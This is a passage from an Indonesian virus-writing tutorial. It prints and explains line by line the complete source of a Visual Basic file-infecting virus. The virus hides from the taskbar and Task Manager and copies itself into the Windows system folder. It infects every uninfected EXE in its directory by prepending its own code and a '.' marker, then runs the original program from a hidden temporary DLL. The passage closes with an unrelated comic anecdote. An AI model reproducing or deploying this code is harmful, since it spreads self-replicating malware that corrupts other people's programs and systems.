Program terbagi menjadi deklarasi data, form loading, dan modul utama. Pada deklarasi data, variabel dan konstanta dibuat untuk menyimpan informasi program. Form loading menginisialisasi program dan menyembunyikan jendela. Modul utama melakukan infeksi file dengan menyisipkan kode virus ke dalam file target dan menjalankan file asli melalui file DLL sementara.
1. 15
Mencermati
Isi Program
Setelah berhasil membuat form, mengetikkan data program, dan membentuk
menjadi suatu file source code −sebelum melangkah lebih lanjut− untuk
membentuk file tersebut menjadi suatu file EXE maka kita akan menelaah
program dan bagian-bagian pembentuknya baris demi baris. (Jika memung-
kinkan dan jika saya tahu apa yang harus dijelaskan …☺.)
Program secara global terbagi menjadi beberapa bagian utama, yaitu Deklarasi
Data, Form Loading, dan Modul Utama.
2.1 Deklarasi Data
Berikut ini penggalan listing programnya berikut keterangannya.
Option Explicit
Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
2. 16
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long,
_
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Jika kita telaah baris demi baris maka…:
* Option Explicit
Perintah ini dipakai agar alur program tidak rancu. Sehingga tidak mengalami
bentrok dan masalah pada akhirnya. Salah satu contoh, untuk memakai suatu
variabel maka kita harus menyediakannya (membuatnya) terlebih dahulu secara
eksplisit, sebelum dapat memakainya.
* Private victim As String
Membuat variabel bernama Victim dengan jenis data string.
* Private myarray As String
Membuat variabel bernama myarray dengan jenis data string.
* Private varray As String
Membuat variabel bernama varray dengan jenis data string.
* Private Length As Long
Membuat variabel bernama Length dengan jenis data string.
* Dim chck As String * 1
Membuat variabel bernama chck dengan jenis data string dengan panjang 1.
* Const Size As Long = 32768
Membuat konstanta bernama Size dengan jenis data long dan mengisinya
dengan data 32768.
* Private iResult As Long
Membuat variabel bernama iResult dengan jenis data long.
* Private hProg As Long
Membuat variabel bernama hProg dengan jenis data long.
3. 17
* Private idProg As Long
Membuat variabel bernama idProg dengan jenis data long.
* Private iExit As Long
Membuat variabel bernama iExit dengan jenis data long.
* Const STILL_ACTIVE As Long = &H103
Membuat konstanta bernama STILL_ACTIVE dengan jenis data long dan
mengisinya dengan data &H103.
* Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Membuat konstanta bernama PROCESS_ALL_ACCESS dengan jenis data long
dan mengisinya dengan data &H1F0FFF.
* Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Mendeklarasikan fungsi API yang bernama OpenProcess. Fungsi ini digunakan
untuk membuka objek proses yang ada.
* Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Mendeklarasikan fungsi API yang bernama GetExitCodeProcess. Fungsi ini
berguna untuk memperoleh kode status penghentian suatu proses.
2.2 Form Loading
Bagian form loading ini berguna untuk melakukan inisialisasi awal program. Di
sini subrutin yang ada bernama form_load. Petikan listing programnya sebagai
berikut:
Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub
4. 18
Keterangan:
* Private Sub form_load()
Membuat subrutin bernama form_load.
* Me.Visible = False
Membuat form aktif menjadi tidak kelihatan.
* App.TaskVisible = False
Membuat aplikasi aktif virus menjadi tidak kelihatan pada task manager.
* On Error Resume Next
Perintah untuk menangani jika terjadi suatu masalah.
* Call main
Perintah untuk memanggil modul utama virus.
* End Sub
Perintah penutup subrutin.
2.3 Modul Utama
Subrutin utama virus yang kita buat, kita beri nama MAIN. Jabarannya sebagai
berikut:
Sub main()
On Error Resume Next
Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder
Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)
FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder &
"" & "wbdbass.nl"
Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free
5. 19
ChDrive App.Path
ChDir App.Path
victim = Dir(App.Path & "" & "*.EXE")
While victim <> ""
If LCase(App.Path & "" & App.EXEName & ".exe") _
<> LCase(App.Path & "" & victim) Then
Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free
Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free
If LCase(chck) <> "." Then
Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free
End If
Else
End If
victim = Dir()
Wend
Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Length = (LOF(Free) - Size)
If Length > 0 Then
myarray = Space(Length)
Get #Free, Size, myarray
Close #Free
Open App.Path & "" & App.EXEName & ".dll" For Binary Access
Write As #Free
Put #Free, , myarray
Close #Free
SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden +
vbSystem
idProg = Shell(App.Path & "" & App.EXEName & ".dll",
vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
6. 20
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal
Kill App.Path & "" & App.EXEName & ".dll"
Else
Close #Free
End If
End
End Sub
Keterangan detailnya adalah:
* Sub main()
Membuat subrutin dengan nama main.
* On Error Resume Next
Perintah untuk mengatasi jika terjadi kesalahan program.
* Dim i As Long
Membuat variabel bernama i dengan jenis data Long.
* Dim Free
Membuat variabel bernama free.
* Free = FreeFile
Mengisi variabel Free dengan jenis data FreeFile.
* Dim target
Membuat variabel bernama target dengan jenis data varian.
* Dim fso, sysfolder, winfolder
Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data
varian.
* Set fso = CreateObject("scripting.filesystemobject")
Mengeset variabel fso dengan perintah script object create object.
* Set sysfolder = fso.GetSpecialFolder(1)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus system windows.
7. 21
* Set winfolder = fso.GetSpecialFolder(0)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus root windows.
* FileCopy App.Path & "" & App.EXEName & ".exe", sysfolder &
"" & "wbdbass.nl"
Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl.
* Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Membaca file virus aktif.
* myarray = Space$(Size)
Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam
variabel Size (alias ukuran virus).
* Get #1, 1, myarray
Membaca data dan meletakkan di array.
* Close #Free
Menutup file virus.
* ChDrive App.Path
Mengubah drive yang aktif dengan path aplikasi.
* ChDir App.Path
Mengubah directory yang aktif dengan path aplikasi.
* victim = Dir(App.Path & "" & "*.EXE")
Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif.
* While victim <> ""
Lakukan selama variabel victim tidak sama dengan kosong.
* If LCase(App.Path & "" & App.EXEName & ".exe") _
<> LCase(App.Path & "" & victim) Then
Jika file korban tidak sama dengan nama file virus aktif maka…
* Open victim For Binary Access Read As #Free
Buka file exe korban untuk dibaca.
8. 22
* varray = Space$(LOF(Free))
Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita
menyiapkan buffer file.
* Get #1, 1, varray
Baca dan kopi data ke array.
*Close #Free
Tutup file korban.
* Open victim For Binary Access Read As #Free
Buka file korban.
* Seek #1, LOF(Free)
Mengeset buffer untuk file data.
* chck = Space$(1)
Isi variabel chck dengan data spasi sepanjang 1.
* Get #1, , chck
Kopi data variabel chck tersebut ke array.
* Close #Free
Tutup file.
* If LCase(chck) <> "." Then
Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah
terinfeksi. Jika tidak maka lanjutkan proses.
* Open victim For Binary Access Write As #Free
Buka file korban untuk ditulisi.
* Put #Free, 1, myarray
Letakkan variabel myarray (file virus) di depan file.
* Put #Free, Size, varray
Lalu diikuti dengan variabel varray (alias data asli file korban).
* Put #Free, LOF(Free) + 1, "."
Lalu diikuti dengan “marker virus” (marker virus yang kita pakai adalah titik!)
untuk menandai bahwa file tersebut telah diinfeksi.
9. 23
* Close #Free
Tutup file.
* End If
Syarat selesai. Pasangan dari If LCase(chck) <> "." Then
* Else
Selain itu… jangan lakukan apa-apa.
* End If
Syarat selesai. Pasangan dari perintah If LCase(App.Path & "" & App.EXEName & ".exe")
<> LCase(App.Path & "" & victim) Then
* victim = Dir()
Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya
yang akan diinfeksi.
* Wend
Lakukan putaran ulang sampai kondisi terpenuhi.
* Open App.Path & "" & App.EXEName & ".exe" For Binary Access
Read As #Free
Buka file aplikasi untuk dibaca.
* Length = (LOF(Free) - Size)
Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file
virus (atau variabel Size).
* If Length > 0 Then
Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi.
* myarray = Space(Length)
Buat buffer dalam variabel myarray untuk menampung data ukuran file asli.
* Get #Free, Size, myarray
Simpan dalam file array.
* Close #Free
Tutup file.
10. 24
* Open App.Path & "" & App.EXEName & ".dll" For Binary Access
Write As #Free
Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL.
* Put #Free, , myarray
Letakkan data asli file aplikasi sebagai file temporer.
* Close #Free
Tutup dan bentuk file DLL.
* SetAttr App.Path & "" & App.EXEName & ".dll", vbHidden +
vbSystem
Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat
secara standar.
* idProg = Shell(App.Path & "" & App.EXEName & ".dll",
vbNormalFocus)
Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang
telah dibentuk menjadi file *.DLL.
* hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running
application code number).
--------------------------------------------------------------------------------------------------
Sekilas info.. ☺. Sintak standar dari perintah OpenProcess
adalah:
OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD
dwProcessId)
Parameter dwDesiredAccess berisi akses ke objek proses.
Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika
FALSE, handle tidak dapat inherited.
Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka.
Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika
gagal, nilainya adalah NULL. Loh… tapi ini ngomong-ngomong sekilas info
11. 25
apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan
bahwa perintah OpenProcess adalah salah satu perintah API (Application
Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya
dipakai dalam pemrograman tingkat lanjut.
--------------------------------------------------------------------------------------------------
* GetExitCodeProcess hProg, iExit
Ambil data kode penghentian proses.
--------------------------------------------------------------------------------------------------
Sekilas info lagi... ☺. Sintak standar dari perintah
GetExitCodeProcess adalah:
GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode)
Parameter hProcess mewakili Handle process. Handle ini
haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION.
lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian
proses (process termination status).
Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya
adalah nol.
--------------------------------------------------------------------------------------------------
* Do While iExit = STILL_ACTIVE
Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau
dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program
virus akan “tidur sementara” dan menjalankan program asli. Saat program asli
selesai dijalankan, kendali akan diambil alih lagi oleh virus.
* DoEvents
Lakukan event.
* GetExitCodeProcess hProg, iExit
Ambil data exit code terkini.
12. 26
* Loop
Lakukan putaran sampai syarat event terpenuhi.
* On Error Resume Next
Jika terjadi masalah, lanjutkan pada proses selanjutnya.
* SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal
Ubah data aplikasi DLL dengan atribut Normal.
* Kill App.Path & "" & App.EXEName & ".dll"
Hapus file DLL temporer tersebut.
* Else
Selain itu…
* Close #Free
Tutup file.
* End If
Syarat selesai.
* End
Program virus dihentikan.
* End Sub
Subrutin modul utama selesai.
Maka selesai pulalah (sementara) kegilaan kita! hehehe … ☺ Jika masih
bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan
semakin paham dan…. Tambah gila tentu saja.
--------------------------------------------------------------------------------------------------
Flash Back: Anti Sosial 1
Jarang sekali Kyai Kebal Wirang mengajak muridnya yang
masih balita pergi berinteraksi sosial. Karena takut menjadi
anti-sosial sejati, maka hari itu diajaknya Megatruh kecil
pergi jalan-jalan. Megatruh begitu gembira dan tak bosan-
bosannya ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar
meladeninya dengan menjawab semua pertanyaan sang murid.
13. 27
Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan
gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke
dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya
yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya
berpegangan kencang pada baju sang kyai.
Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: “ada apa, kamu
kok … kebingungan seperti itu?”
Megatruh memandang wajah sang kyai dengan ragu. “Kyai tidak marah kalau
saya bertanya?”
“Tentu saja tidak,“ jawab sang kyai singkat.
Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil me-
nunjuk kepada seorang lelaki yang duduk di depan mereka: “Ini lho… kyai…
saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah
ya?”
Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid
balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama,
ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah
kakinya.
Dengan nyengir dan muka merah padam, sang Kyai berkata “mas supir… kiri
mas. Kita mau turun” … ☺
--------------------------------------------------------------------------------------------------
***